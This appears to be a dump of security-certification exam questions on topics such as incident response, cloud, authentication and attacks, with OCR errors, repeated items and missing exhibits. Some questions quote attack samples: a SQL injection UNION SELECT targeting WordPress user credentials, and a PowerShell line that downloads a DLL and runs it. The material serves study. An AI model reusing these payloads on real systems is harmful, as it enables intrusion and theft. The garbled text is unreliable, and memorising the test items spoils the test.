A security analyst reviews web server logs and notices the following line:
104.35. 45.53 -
[22/May/2020:07 : 00:58 +0100] "GET . UNION ALL SELECT
user login, user _ pass, user email from wp users—— HTTP/I.I" 200 1072
Which of the following vulnerabilities is the attacker trying to exploit?
A cybersecurity analyst needs to adopt controls to properly track and log user actions to an individual. Which of the following should the analyst implement?
A security team suspects that the cause of recent power consumption overloads is the unauthorized use of empty power outlets in the network rack. Which of the following options will mitigate this issue without compromising the number of outlets
available?
Which of the following is a solution that can be used to stop a disgruntled employee from copying confidential data to a USB drive?
A company was recently breached. Part of the company's new cybersecurity strategy is to centralize the logs from all security devices. Which of the following components forwards the logs to a central source?
A security analyst is reviewing packet capture data from a compromised host On the In the packet capture. analyst locates packets that contain large of text, Which Of following is most likely installed on compromised host?
An employee used a corporate mobile device during a vacation Multiple contacts were modified in the device vacation Which of the following method did attacker to insert the contacts without having 'Physical access to device?
Which of the following best describes a tool used by an organization to identi-fy, log, and track any potential risks and corresponding risk information?
A security analyst is reviewing computer logs because a host was compromised by malware After the computer was infected it displayed an error screen and shut down. Which of the following should the analyst review first to determine more information?
An organization wants to secure a LAN/WLAN so users can authenticate and transport data securely. The solution needs to prevent on-path attacks and evil twin attacks. Which of the following will best meet the organization's need?
Sales team members have been receiving threatening voicemail messages and have reported these incidents to the IT security team. Which of the following would be MOST appropriate for the IT security team to analyze?
A digital forensics team at a large company is investigating a case in which malicious code was downloaded over an HTTPS connection and was running in memory, but was never committed to disk. Which of the following techniques should the team use to obtain a sample of the malware binary?
A company needs to enhance Its ability to maintain a scalable cloud Infrastructure. The Infrastructure needs to handle the unpredictable loads on the company's web application. Which of the following
cloud concepts would BEST these requirements?
An organization recently completed a security control assessment The organization determined some controls did not meet the existing security measures. Additional mitigations are needed to lessen the risk of the non-complaint controls. Which of the following best describes these
mitigations?
A police department is using the cloud to share information city officials Which of the cloud models describes this scenario?
A user is trying to upload a tax document, which the corporate finance department requested, but a security program IS prohibiting the upload A security analyst determines the file contains Pll, Which of
the following steps can the analyst take to correct this issue?
A desktop computer was recently stolen from a desk located in the lobby of an office building. Which of the following would be the best way to secure a replacement computer and deter future theft?
A company has numerous employees who store PHI data locally on devices. The Chief Information Officer wants to implement a solution to reduce external exposure of PHI but not affect the business.
The first step the IT team should perform is to deploy a DLP solution:
A new security engineer has started hardening systems. One of the hardening techniques the engineer is using involves disabling remote logins to the NAS. Users are now reporting the inability to use SCP to transfer files to the NAS, even though the data is still viewable from the users' PCs. Which of the following is the MOST likely cause of this issue?
An organization needs to implement more stringent controls over administrator/root credentials and service accounts. Requirements for the project include:
* Check-in/checkout of credentials
* The ability to use but not know the password
* Automated password changes
* Logging of access to credentials
Which of the following solutions would meet the requirements?
A security administrator Installed a new web server. The administrator did this to Increase the capacity (or an application due to resource exhaustion on another server. Which o( the following algorithms should the administrator use to split the number of the connections on each server In half?
The new Chief Information Security Officer at a company has asked the security learn to implement stronger user account policies. The new policies require:
• Users to choose a password unique to their last ten passwords
• Users to not log in from certain high-risk countries
Which of the following should the security team implement? (Select two).
A security administrator suspects there may be unnecessary services running on a server. Which of the following tools will the administrator most likely use to confirm the suspicions?
A new security engineer has started hardening systems. One o( the hardening techniques the engineer is using involves disabling remote logins to the NAS. Users are now reporting the inability lo use SCP to transfer files to the NAS, even though the data is still viewable from the users' PCs. Which of the following is the MOST likely cause of this issue?
Which of the following would a security analyst use to determine if other companies in the same sector have seen similar malicious activity against their systems?
An attacker is targeting a company. The attacker notices that the company’s employees frequently access a particular website. The attacker decides to infect the website with malware and hopes the employees’ devices will also become infected. Which of the following techniques is the attacker using?
A security team will be outsourcing several key functions to a third party and will require that:
• Several of the functions will carry an audit burden.
• Attestations will be performed several times a year.
• Reports will be generated on a monthly basis.
Which of the following BEST describes the document that is used to define these requirements and stipulate how and when they are performed by the third party?
A company is focused on reducing risks from removable media threats. Due to certain primary applications, removable media cannot be entirely prohibited at this time. Which of the following best describes the company's approach?
A user's laptop constantly disconnects from the Wi-Fi network. Once the laptop reconnects, the user can reach the internet but cannot access shared folders or other network resources. Which of the following types of attacks is the user MOST likely experiencing?
A network security manager wants to implement periodic events that will test the security team's preparedness for incidents in a controlled and scripted manner, Which of the following concepts describes this scenario?
The alert indicates an attacker entered thousands of characters into the text box of a web form. The web form was intended for legitimate customers to enter their phone numbers. Which of the attacks has most likely occurred?
Which of the following measures the average time that equipment will operate before it breaks?
An organization is concerned about hackers potentially entering a facility and plugging in a remotely accessible Kali Linux box. Which of the following should be the first lines of defense against such an attack? (Select TWO).
A data cento has experienced an increase in under-voltage events Mowing electrical grid maintenance outside the facility These events are leading to occasional losses of system availability Which of the following would be the most cost-effective solution for the data center 10 implement''
A software developer used open-source libraries to streamline development. Which of the following is the greatest risk when using this approach?
A major manufacturing company updated its internal infrastructure and just started to allow OAuth application to access corporate data Data leakage is being reported Which of following most likely caused the issue?
A security analyst is investigating network issues between a workstation and a company server. The workstation and server occasionally experience service disruptions, and employees are forced to
reconnect to the server. In addition, some reports indicate sensitive information is being leaked from the server to the public.
The workstation IP address is 192.168.1.103, and the server IP address is 192.168.1.101.
The analyst runs arp -a On a separate workstation and obtains the following results:
Which of the following is most likely occurring?
The management team has requested that the security team implement 802.1X into the existing wireless network setup. The following requirements must be met:
• Minimal interruption to the end user
• Mutual certificate validation
Which of the following authentication protocols would meet these requirements?
A company completed a vulnerability scan. The scan found malware on several systems that were running older versions of Windows. Which of the following is MOST likely the cause of the malware infection?
Which of the following describes software on network hardware that needs to be updated on a rou-tine basis to help address possible vulnerabilities?
A company recently completed the transition from data centers to the cloud. Which of the following solutions will best enable the company to detect security threats in applications that run in isolated environments within the cloud environment?
A systems engineer thinks a business system has been compromised and is being used to exfiltrated data to a competitor The engineer contacts the CSIRT The CSIRT tells the engineer to immediately disconnect the network cable and to not do anything else Which of the following is the most likely reason for this request?
Which of the following can reduce vulnerabilities by avoiding code reuse?
A small, local company experienced a ransomware attack. The company has one web-facing server and a few workstations. Everything is behind an ISP firewall. A single web-facing server
is set up on the router to forward all ports so that the server is viewable from the internet. The company uses an older version of third-party software to manage the website. The assets
were never patched. Which of the following should be done to prevent an attack like this from happening again? (Select three).
Users report access to an application from an internal workstation is still unavailable to a specific server, even after a recent firewall rule implementation that was requested for this access. ICMP traffic is successful between the two devices. Which of the following tools should the security analyst use to help identify if the traffic is being blocked?
An employee received an email with an unusual file attachment named Updates . Lnk. A security analysts reverse engineering what the fle does and finds that executes the folowing script:
C:\Windows \System32\WindowsPowerShell\vl.0\powershell.exe -URI -OutFile $env:TEMP\autoupdate.dll;Start-Process rundll32.exe $env:TEMP\autoupdate.dll
Which of the following BEST describes what the analyst found?
A security engineer is concerned the strategy for detection on endpoints is too heavily dependent on previously defined attacks. The engineer wants a tool that can monitor for changes to key files and network traffic for the device. Which of the following tools should the engineer select?
A company is switching to a remote work model for all employees. All company and employee resources will be in the cloud. Employees must use their personal computers to access the cloud computing environment. The company will manage the operating system. Which of the following deployment models is the company implementing?
A security analyst needs to recommend a solution that will allow current Active Directory accounts and groups to be used for access controls on both network and remote-access devices. Which of the
following should the analyst recommend? (Select two).
A global pandemic is forcing a private organization to close some business units and reduce staffing at others. Which of the following would be best to help the organization's executives determine their next course of action?
A network administrator needs to determine Ihe sequence of a server farm's logs. Which of the following should the administrator consider? (Select TWO).
An engineer recently deployed a group of 100 web servers in a cloud environment. Per the security policy, all web-server ports except 443 should be disabled. Which of the following can be
used to accomplish this task?
A penetration tester was able to compromise a host using previously captured network traffic. Which of the following is the result of this action?
A security engineer is investigating a penetration test report that states the company website is vulnerable to a web application attack. While checking the web logs from the time of the test, the engineer notices several invalid web form submissions using an unusual address: "SELECT * FROM customername”. Which of the following is most likely being attempted?
Security analysts have noticed the network becomes flooded with malicious packets at specific times of the day. Which of the following should the analysts use to investigate this issue?
A security administrator examines the ARP table of an access switch and sees the following output:
Which of the following is a potential threat that is occurring on this access switch?
A security operations center wants to implement a solution that can execute files to test for malicious activity. The solution should provide a report of the files' activity against known threats.
Which of the following should the security operations center implement?
A web server log contains two million lines. A security analyst wants to obtain the next 500 lines starting from line 4,600. Which of the following commands will help the security analyst to achieve this objective?
Which of the following describes where an attacker can purchase DDoS or ransomware services?
An organization recently released a software assurance policy that requires developers to run code scans each night on the repository. After the first night, the security team alerted the developers that more than 2,000 findings were reported and need to
be addressed. Which of the following is the MOST likely cause for the high number of findings?
Which of the following can be used to detect a hacker who is stealing company data over port 80?
Stakeholders at an organisation must be kept aware of any incidents and receive updates on status changes as they occur Which of the following Plans would fulfill this requirement?
A security team discovered a large number of company-issued devices with non-work-related software installed. Which of the following policies would most likely contain language that would prohibit this activity?
A security administrator recently used an internal CA to issue a certificate to a public application. A user tries to reach the application but receives a message stating, “Your connection is not private." Which of the following is the best way to fix this issue?
The SIEM at an organization has detected suspicious traffic coming a workstation in its internal network. An analyst in the SOC the workstation and discovers malware that is associated with a botnet is installed on the device A review of the logs on the workstation reveals that the privileges of the local account were escalated to a local administrator. To which of the following groups should the analyst report this real-world event?
Which of the following environments can be stood up in a short period of time, utilizes either dummy data or actual data, and is used to demonstrate and model system capabilities and functionality for a fixed, agreed-upon
duration of time?
A Chief Information Officer is concerned about employees using company-issued laptops to steal data when accessing network shares. Which of the following should the company implement?
An organization recently acquired an ISO 27001 certification. Which of the following would MOST likely be considered a benefit of this certification?
After gaining access to a dual-homed (i.e.. wired and wireless) multifunction device by exploiting a vulnerability in the device's firmware, a penetration tester then gains shell access on another networked asset This technique is an example of:
The compliance team requires an annual recertification of privileged and non-privileged user access. However, multiple users who left the company six months ago still have access. Which of the following would have prevented this compliance violation?
A security analyst reviews a company’s authentication logs and notices multiple authentication failures. The authentication failures are from different usernames that share the same source IP address. Which of the password attacks is MOST likely happening?
A security analyst has received several reports of an issue on an internal web application. Users state they are having to provide their credentials twice to log in. The analyst checks with the application team and notes this is not an expected behavior. After looking at several logs, the analyst decides to run some commands on the gateway and obtains the following output:
Which of the following BEST describes the attack the company is experiencing?
Which of the following environments typically hosts the current version configurations and code, compares user-story responses and workflow, and uses a modified version of actual data for testing?
An organization would like to remediate the risk associated with its cloud service provider not meeting its advertised 99.999% availability metrics. Which of the following should the organization consult for the exact requirements for the cloud provider?
During an investigation, the incident response team discovers that multiple administrator accounts were suspected of being compromised. The host audit logs indicate a repeated brute-force attack on a single administrator account followed by suspicious logins from unfamiliar geographic locations. Which of the following data sources would be BEST to use to assess the accounts impacted by this attack?
A company is required to continue using legacy software to support a critical service. Which of the following BEST explains a risk of this practice?
A security administrator is working on a solution to protect passwords stored in a database against rainbow table attacks Which of the following should the administrator consider?
A user reports trouble using a corporate laptop. The laptop freezes and responds slowly when writing documents and the mouse pointer occasional disappears.
The task list shows the following results
Which of the following is MOST likely the issue?
A Chief Information Officer receives an email stating a database will be encrypted within 24 hours unless a payment of $20,000 is credited to the account mentioned In the email. This BEST describes a scenario related to:
When planning to build a virtual environment, an administrator need to achieve the following,
•Establish polices in Limit who can create new VMs
•Allocate resources according to actual utilization‘
•Require justification for requests outside of the standard requirements.
•Create standardized categories based on size and resource requirements
Which of the following is the administrator MOST likely trying to do?
Developers are writing code and merging it into shared repositories several times a day, where it is tested automatically. Which of the following concepts does this BEST represent?
A company reduced the area utilized in its datacenter by creating virtual networking through automation and by creating provisioning routes and rules through scripting. Which of the following does this example describe?
During an incident, a company's CIRT determines it is necessary to observe the continued network-based transactions between a callback domain and the malware running on an enterprise PC. Which
of the following techniques would be BEST to enable this activity while reducing the nsk of lateral spread and the risk that the adversary would notice any changes?
Which of the following BEST describes data streams that are compiled through artificial intelligence that provides insight on current cyberintrusions, phishing, and other malicious cyberactivity?
Which of the following environment utilizes dummy data and is MOST to be installed locally on a system that allows to be assessed directly and modified easily wit each build?
A security analyst has been tasked with creating a new WiFi network for the company. The requirements received by the analyst are as follows:
•Must be able to differentiate between users connected to WiFi
•The encryption keys need to change routinely without interrupting the users or forcing reauthentication
•Must be able to integrate with RADIUS
•Must not have any open SSIDs
Which of the following options BEST accommodates these requirements?
A company wants to modify its current backup strategy to modify its current backup strategy to minimize the number of backups that would need to be restored in case of data loss. Which of the following would be the BEST backup strategy
A help desk technician receives an email from the Chief Information Officer (C/O) asking for documents. The technician knows the CIO is on vacation for a few weeks. Which of the following should the technician do to validate the authenticity of the email?
A company acquired several other small companies The company thai acquired the others is transitioning network services to the cloud The company wants to make sure that performance and security remain intact Which of the following BEST meets both requirements?
A company recently experienced an attack during which its main website was Directed to the attacker's web server, allowing the attacker to harvest credentials from unsuspecting customers, Which of the following should the
company implement to prevent this type of attack from occurring In the future?
After a hardware incident, an unplanned emergency maintenance activity was conducted to rectify the issue. Multiple alerts were generated on the SIEM during this period of time. Which of the following BEST explains what happened?
An attacker replaces a digitally signed document with another version that goes unnoticed Upon reviewing the document's contents the author notices some additional verbiage that was not originally in the document but cannot validate an integrity issue. Which of the following attacks was used?
Which of the following environments would MOST likely be used to assess the execution of component parts of a system at both the hardware and software levels and to measure performance characteristics?
A store receives reports that shoppers’ credit card information is being stolen. Upon further analysis, those same shoppers also withdrew money from an ATM in that store.
The attackers are using the targeted shoppers’ credit card information to make online purchases. Which of the following attacks is the MOST probable cause?
After a WiFi scan of a local office was conducted, an unknown wireless signal was identified Upon investigation, an unknown Raspberry Pi device was found connected to an Ethernet port using a single connection. Which of the following BEST describes the purpose of this device?
A new security engineer has started hardening systems. One of the hardening techniques the engineer is using involves disabling remote logins to the NAS. Users are now reporting the inability to use SCP to transfer files to the NAS, even through the data is still viewable from the user’s PCs. Which of the following is the most likely cause of this issue?
A company is concerned about individuals dnvmg a car into the building to gam access Which of the following security controls would work BEST to prevent this from happening?
Which of the following would be BEST for a technician to review to determine the total risk an organization can bear when assessing a "cloud-first" adoption strategy?
Which of the technologies is used to actively monitor for specific file types being transmitted on the network?
During an incident a company CIRT determine it is necessary to observe the continued network-based transaction between a callback domain and the malware running on an enterprise PC. Which of the following techniques would be BEST to enable this activity while reducing the risk of lateral spread and the risk that the adversary would notice any changes?
A security analyst is investigating a phishing email that contains a malicious document directed to the company's Chief Executive Officer (CEO). Which of the following should the analyst perform to understand the threat and retrieve possible IoCs?
A Chief Information Security Officer (CISO) is evaluating (he dangers involved in deploying a new ERP system tor the company. The CISO categorizes the system, selects the controls mat apply to the system, implements the controls, and then assesses the success of the controls before authorizing the system Which of the following is the CISO using to evaluate Hie environment for this new ERP system?
A security administrator is setting up a SIEM to help monitor for notable events across the enterprise. Which of the following control types does this BEST represent?
A grocery store is expressing security and reliability concerns regarding the on-site backup strategy currently being performed by locally attached disks. The main concerns are the physical security of the backup media and the durability of the data stored on these devices Which of the following is a cost-effective approach to address these concerns?
A company would like to set up a secure way to transfer data between users via their mobile phones The company's top pnonty is utilizing technology that requires users to be in as close proximity as possible to each other. Which of the following connection methods would BEST fulfill this need?
A security engineer is hardening existing solutions to reduce application vulnerabilities. Which of the following solutions should the engineer implement FIRST? (Select TWO)
The Chief Executive Officer announced a new partnership with a strategic vendor and asked the Chief Information Security Officer to federate user digital identities using SAML-based protocols. Which of the following will this enable?
During a security assessment, a security finds a file with overly permissive permissions. Which of the following tools will allow the analyst to reduce the permission for the existing users and groups and remove the set-user-ID from the file?
An application owner reports suspicious activity on an internal financial application from various internal users within the past 14 days. A security analyst notices the following:
•Financial transactions were occurring during irregular time frames and outside of business hours by unauthorized users.
•Internal users in question were changing their passwords frequently during that time period.
•A jump box that several domain administrator users use to connect to remote devices was recently compromised.
•The authentication method used in the environment is NTLM.
Which of the following types of attacks is MOST likely being used to gain unauthorized access?
An employee's company account was used in a data breach Interviews with the employee revealed:
• The employee was able to avoid changing passwords by using a previous password again.
• The account was accessed from a hostile, foreign nation, but the employee has never traveled to any other countries.
Which of the following can be implemented to prevent these issues from reoccuring? (Select TWO)
A security analyst wants to verify that a client-server (non-web) application is sending encrypted traffic. Which of the following should the analyst use?
Which of the following environments utilizes dummy data and is MOST likely to be installed locally on a system that allows code to be assessed directly and modified easily with each build?
The Chief Information Security Officer wants to pilot a new adaptive, user-based authentication method. The concept Includes granting logical access based on physical location and proximity. Which of the following Is the BEST solution for the pilot?
The Chief information Security Officer has directed the security and networking team to retire the use of shared passwords on routers and switches. Which of the following choices BEST meets the requirements?
A security manager needs to assess the security posture of one of the organization's vendors. The contract with the vendor does not allow for auditing of the vendor's security controls. Which of (he following should the manager request to complete the assessment?
A large enterprise has moved all its data to the cloud behind strong authentication and encryption. A sales director recently had a
laptop stolen, and later, enterprise data was found to have been compromised from a local database. Which of the following was the
MOST likely cause?
A security engineer needs to create a network segment that can be used for servers thal require connections from untrusted networks. Which of the following should the engineer implement?
Per company security policy, IT staff members are required to have separate credentials to perform administrative functions using just-in-time permissions. Which of the following solutions is the company Implementing?
Remote workers in an organization use company-provided laptops with locally installed applications and locally stored data Users can store data on a remote server using an encrypted connection. The organization discovered data stored on a laptop had been made available to the public Which of the following security solutions would mitigate the risk of future data disclosures?
A new plug-and-play storage device was installed on a PC in the corporate environment. Which of the following safeguards will BEST help to protect the PC from malicious files on the storage device?
The following are the logs of a successful attack.
Which of the following controls would be BEST to use to prevent such a breach in the future?
The help desk has received calls from users in multiple locations who are unable to access core network services The network team has identified and turned off the network switches using remote commands. Which of the following actions should the network team take NEXT?
A financial institution would like to store its customer data in a cloud but still allow the data to be accessed and manipulated while encrypted. Doing so would prevent the cloud service provider from being able to decipher the data due to its sensitivity. The financial institution is not concerned about computational overheads and slow speeds. Which of the following cryptographic techniques would BEST meet the requirement?
A security analyst is reviewing the vulnerability scan report for a web server following an incident. The vulnerability that was used to exploit the server is present in historical vulnerability scan reports, and a patch is available for the vulnerability. Which of the following is the MOST likely cause?
The Chief Information Security Officer (CISO) has decided to reorganize security staff to concentrate on incident response and to outsource outbound Internet URL categorization and filtering to an outside company. Additionally, the CISO would like this solution to provide the same protections even when a company laptop or mobile device is away from a home office. Which of the following should the CISO choose?
An analyst Is generating a security report for the management team. Security guidelines recommend disabling all listening unencrypted services. Given this output from Nmap:
Which of the following should the analyst recommend to disable?
A security researcher is using an adversary's infrastructure and TTPs and creating a named group to track those targeted Which of the following is the researcher MOST likely using?
Which of the following controls would be the MOST cost-effective and time-efficient to deter intrusions at the perimeter of a restricted, remote military training area?
(Select TWO).
When decommissioning physical hardware that contains Pll. a financial institution requires that a third-party recycling company wipe and destroy the hard drives, and document the process. Which of the following best describes this procedure?
A systems administrator is looking for a low-cost application-hosting solution that is cloud-based. Which of the following meets these requirements?
A bank insists all of its vendors must prevent data loss on stolen laptops. Which of the following strategies is the bank requiring?
An organization hired a third party to test its internal server environment for any exploitable vulnerabilities and to gain privileged access. The tester compromised several servers, and the organization was unable to detect any of the compromises. Which of the following actions would be best for the company to take to address these findings?
Which of the following would best explain why a security analyst is running daily vulnerability scans on all corporate endpoints?
An analyst is providing feedback on an incident that involved an unauthorized zone transfer and an on-path attack in a corporate network. The analyst's recommendation is to implement secure DNS. Which of the following would be the most beneficial result of this action?
A systems administrator notices that one of the systems critical for processing customer transactions is running an end-of-life operating system. Which of the following techniques would increase enterprise security?
A systems administrator set up a perimeter firewall but continues to notice suspicious connections between internal endpoints. Which of the following should be set up in order to mitigate the threat posed by the suspicious activity?
A company is providing security awareness training regarding the importance of not forwarding social media messages from unverified sources. Which of the following risks would this training help to prevent?
Which of the following utilizes public and private keys to secure data?
An organization recently updated its security policy to include the following statement:
Regular expressions are included in source code to remove special characters such as and? from variables set
by forms in a web application.
Which of the following best explains the security technique the organization adopted by making this addition to the policy?
During the past year, an organization has experienced several intellectual property leaks by an unidentified source. Which of the following risk management policies will help the company identify the source of this issue?
During a recent company safety stand-down, the cyber-awareness team gave a presentation on the importance of cyber hygiene. One topic the team covered was best practices for printing centers. Which of the following describes an attack method that relates to printing centers?
A security analyst at an organization observed several user logins from outside the organization's network The analyst determined that these logins were not performed by individuals within the organization Which of the following recommendations would reduce the likelihood of future attacks? (Select two).
A company is planning to set up a SIEM system and assign an analyst to review the logs on a weekly basis. Which of the following types of controls is the company setting up?
Users are reporting performance issues from a specific application server A security administrator notices that user traffic is being intermittently denied depending on which load balancer the traffic is originating from Which of the following types of log files should be used to capture this information?
Which of the following security concepts is accomplished with the installation of a RADIUS server?
A governance, risk, and compliance team created a report that notes the existence of a chlorine processing facility two miles from one of the company offices. Which of the following describes this type of documentation?
A company's security policy stales that only the production servers should have bidirectional internet access Which of the following needs to be configured to comply with this policy?
A cyber operations team informs a security analyst about a new tactic malicious actors are using to compromise networks. SIEM alerts have not yet been configured. Which of the following best describes what the security analyst should do to identify this behavior?
An enterprise has hired an outside security firm to conduct penetration testing on its network and applications. The firm has been given all the developer's documentation about the internal architecture. Which of the following best represents the type of testing that will occur?
A website user is locked out of an account after clicking an email link and visiting a different website. Web server logs show the user’s password was changed, even though the user did not change the password. Which of the following is the most likely cause?
A security analyst finds that a user's name appears in a database entry at a time when the user was on vacation. The security analyst reviews the following logs from the authentication server that is being used by the database:
Which of the following can the security analyst conclude based on the review?
A certificate vendor notified a company that recently invalidated certificates may need to be updated. Which of the following mechanisms should a security administrator use to determine whether the certificates installed on the company's machines need to be updated?
A system^ administrator performs a quick scan of an organization's domain controller and finds the following:
Which of the following vulnerabilities does this output represent?
A company would like to implement a daily backup solution. The backup will be stored on a NAS appliance, and capacity is not a limiting factor. Which of the following will the company most likely implement to ensure complete restoration?
An audit identified Pll being utilized in the development environment of a critical application The Chief Privacy Officer (CPO) is adamant that this data must be removed; however, the developers state that they require real data to perform developmental and functionality tests. Which of the following should a security professional implement to best satisfy both the CPO's and the development team's requirements?
An analyst examines the web server logs after a compromise and finds the following:
Which of the following most likely indicates a successful attack on server credentials?
A company executive experienced a security issue at an airport Photos taken during a strategy meeting were stolen when the executive used a free smartphone-charging station. Which of the following can be used to prevent this from occurring in the future?
Various stakeholders are meeting to discuss their hypothetical roles and responsibilities in a specific situation, such as a security incident or major disaster. Which of the following best describes this meeting?
An employee in the accounting department receives an email containing a demand for payment for services performed by a vendor. However, the vendor is not in the vendor management database. Which of the following is this scenario an example of?
Which of the following is the most likely way a rogue device was allowed to connect'?
During an investigation, an incident response team attempts to understand the source of an incident. Which of the following incident response activities describes this process?
A penetration-testing firm is working with a local community bank to create a proposal that best fits the needs of the bank. The bank's information security manager would like the penetration test to resemble a real attack scenario, but it cannot afford the hours required by the penetration-testing firm. Which of the following would best address the bank's desired scenario and budget?
Which of the following security program audits includes a comprehensive evaluation of the security controls in place at an organization over a six- to 12-month time period?
Which of the following enables the use of an input field to run commands that can view or manipulate data?
Which of the following actions could a security engineer take to ensure workstations and servers are properly monitored for unauthorized changes and software?
A security engineer is installing an IPS to block signature-based attacks in the environment. Which of the following modes will best accomplish this task?
experienced railed log-in attempts when authenticating from the same IP address:
184.168.131.241 - userA - failed authentication
184.168.131.241 - userA - failed authentication
184.168.131.241 - userB - failed authentication
184.168.131.241 - userB - failed authentication
184.168.131.241 - userC - failed authentication
184.168.131.241 - userC - failed authentication
Which of the following most likely describes the attack that took place?
A security administrator would like to protect data on employees' laptops. Which of the following encryption techniques should the security administrator use?
An organization implemented cloud-managed IP cameras to monitor building entry points and sensitive areas. The service provider enables direct TCP/IP connection to stream live video footage from each camera. The organization wants to ensure this stream is encrypted and authenticated. Which of the following protocols should be implemented to best meet this objective?
An organization with high security needs is concerned about unauthorized exfiltration of data via Wi-Fi from within a secure facility. Which of the following security controls should the company
implement?
A security department wants to conduct an exercise that will make many experimental changes to the main virtual server. After the exercise is completed, the IT director would like to be able to roll back to the state prior to the exercise. Which of the following backup types will allow for the fastest rollback?
An organization has too many variations of a single operating system and needs to standardize the arrangement prior to pushing the system image to users. Which of the following should the organization implement first?
Which of the following is the best reason to complete an audit in a banking environment?
The management team notices that new accounts that are set up manually do not always have correct access or permissions. Which of the following automation techniques should a systems administrator use to streamline account creation?
After a web server was migrated to a cloud environment, user access to that server was Wocked Ever though an on-premises firewall configuration has been modified to reflect the cloud infrastructure, users are still experiencing access issues. Which of the following most likely needs to be configured?
A systems administrator wants to add a second factor to the single sign-on portal that the organization uses. Currently, only a username and password are required. Which of the following should the administrator implement to best meet this requirement?
A systems administrator at a healthcare organization is setting up a server to securely store patient data. Which of the following must be ensured when storing PHI?
Which of the following methods can be used to detect attackers who have successfully infiltrated a network? (Select two).
An incident response team for a media streaming provider is investigating a data exfiltration event of licensed video content that was able to circumvent advanced monitoring analytics The team has identified the following:
1 The analytics use machine learning with classifiers to label network data transfers.
2. Transfers labeled as "authenticated media stream’’ are permitted to egress, all ethers are interrupted/dropped
3. The most recent attempt was erroneously labeled as an "authenticated media stream."
4. An earlier attempt from the same threat actor was unsuccessful and labeled as "unauthorized media transfer."
5. The PCAP from the most recent event looks identical with the exception of a few bytes that had been modified
Which of the following moil likely occurred?
Which of the following can be used to identify potential attacker activities without affecting production servers?
Which of the following best describes a threat actor who is attempting to use commands found on a public code repository?
recovery sites is the best option?
A penetration tester begins an engagement by performing port and service scans against the client environment according to the rules of engagement. Which of the following reconnaissance types is the tester performing?
Which of the following best describes a social engineering attack that uses a targeted electronic messaging campaign aimed at a Chief Executive Officer?
A systems administrator would like to set up a system that will make it difficult or impossible to deny that someone has performed an action. Which of the following is the administrator trying to accomplish?
Which of the following environments utilizes a subset of customer data and is most likely to be used to assess the impacts of major system upgrades and demonstrate system features?
An organization disabled unneeded services and placed a firewall in front of a business-critical legacy system. Which of the following best describes the actions taken by the organization?
Which of the following is most likely associated with introducing vulnerabilities on a corporate network by the deployment of unapproved software?
Which of the following best describes the process of adding a secret value to extend the length of stored passwords?
An organization wants to ensure the integrity of compiled binaries in the production environment. Which of the following security measures would best support this objective?
A growing company would like to enhance the ability of its security operations center to detect threats but reduce the amount of manual work required for the security analysts Which of the following would best enable the reduction in manual work?
Since a recent upgrade to a WLAN infrastructure, several mobile users have been unable to access the internet from the lobby. The networking team performs a heat map survey of the building and finds several WAPs in the area The WAPs are using similar frequencies with high power settings. Which of the following installation considerations should the security team evaluate next?
A user enters a password to log in to a workstation and is then prompted to enter an authentication code Which of the following MFA factors or attributes are being utilized in the authentication process? {Select two).
A security analyst is currently addressing an active cyber incident. The analyst has been able to identify affected devices that are running a malicious application with a unique hash. Which of the following is the next step according to the incident response process?
A web architect would like to move a company's website presence to the cloud. One of the management team's key concerns is resiliency in case a cloud provider's data center or network connection goes down. Which of the following should the web architect consider to address this concern?
An audit identified Pll being utilized in the development environment of a crit-ical application. The Chief Privacy Officer (CPO) is adamant that this data must be removed: however, the developers are concerned that without real data they cannot perform functionality tests and search for specific data. Which of the following should a security professional implement to best satisfy both the CPOs and the development team's requirements?
As part of the building process for a web application, the compliance team requires that all PKI certificates are rotated annually and can only contain wildcards at the secondary subdomain level. Which of the following certificate properties will meet these requirements?
A financial institution would like to store its customer data in the cloud but still allow the data to be accessed and manipulated while encrypted. Doing so would prevent the cloud service provider from being able to decipher the data due to its sensitivity. The financial institution Is not concerned about computational overheads and slow speeds. Which of the following cryptographic techniques would best meet the requirement?
Which of the following will increase cryptographic security?
An analyst is working on an email security incident in which the target opened an attachment containing a worm. The analyst wants to Implement mitigation techniques to prevent further spread. Which of the following is the best course of action for the analyst to take?
Law enforcement officials sent a company a notification that states electronically stored information and paper documents cannot be destroyed. Which of the following explains this process?
A security analyst is taking part in an evaluation process that analyzes and categorizes threat actors Of real-world events in order to improve the incident response team's process. Which Of the following is the analyst most likely participating in?
A security engineer obtained the following output from a threat intelligence source that recently performed an attack on the company's server:
Which of the following best describes this kind of attack?
After multiple on-premises security solutions were migrated to the cloud, the incident response time increased The analysts are spending a long time trying to trace information on different cloud consoles and correlating data in different formats. Which of the following can be used to optimize the incident response time?
Which Of the following is the best method for ensuring non-repudiation?
A security analyst receives an alert from the company's S1EM that anomalous activity is coming from a local source IP address of 192 168 34.26 The Chief Information Security Officer asks the analyst to block the originating source Several days later another employee opens an internal ticket stating that vulnerability scans are no longer being performed property. The IP address the employee provides is 192 168.34 26. Which of the following describes this type of alert?
Which of the following is constantly scanned by internet bots and has the highest risk of attack in the case of the default configurations?
Which of the following is a primary security concern for a company setting up a BYOD program?
An organization with a low tolerance for user inconvenience wants to protect laptop hard drives against loss or data theft. Which of the following would be the most acceptable?
A local server recently crashed, and the team is attempting to restore the server from a backup. During the restore process, the team notices the file size of each daily backup is large and will run out of space at the current rate.
The current solution appears to do a full backup every night. Which of the following would use the least amount of storage space for backups?
A malicious actor recently penetrated a company's network and moved laterally to the data center Upon investigation a forensics firm wants to know what was in the memory on the compromised server Which of the following files should be given to the forensics firm?
A network engineer is troubleshooting wireless network connectivity issues that were reported by users The issues are occurring only in the section of the building that is closest to the parking lot. Users are intermittently experiencing slow speeds when accessing websites and are unable to connect to network drives. The issues appear to increase when laptop users return to their desks after using their devices in other areas of the building There have also been reports of users being required to enter their credentials on web pages in order to gain access to them Which of the following is the most likely cause of this issue?
During the onboarding process, an employee needs to create a password for an intranet account. The password must include ten characters, numbers, and letters, and two special characters. Once the password is created, the ‘company will grant the employee access to other company-owned websites based on the intranet profile. Which of the following access management concepts is the company most likely using to safeguard intranet accounts and grant access to multiple sites based on a user's intranet account? (Select two).
A government organization is developing an advanced Al defense system. Develop-ers are using information collected from third-party providers Analysts are no-ticing inconsistencies in the expected powers Of then learning and attribute the Outcome to a recent attack on one of the suppliers. Which of the following IS the most likely reason for the inaccuracy of the system?
A newly purchased corporate WAP needs to be configured in the MOST secure manner possible.
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During a recent security assessment, a vulnerability was found in a common OS. The OS vendor was unaware of the issue and promised to release a patch within the next quarter. Which of the following best describes this type of vulnerability?
An organization experiences a cybersecurity incident involving a command-and-control server. Which of the following logs should be analyzed to identify the impacted host? (Select two).
You are security administrator investigating a potential infection on a network.
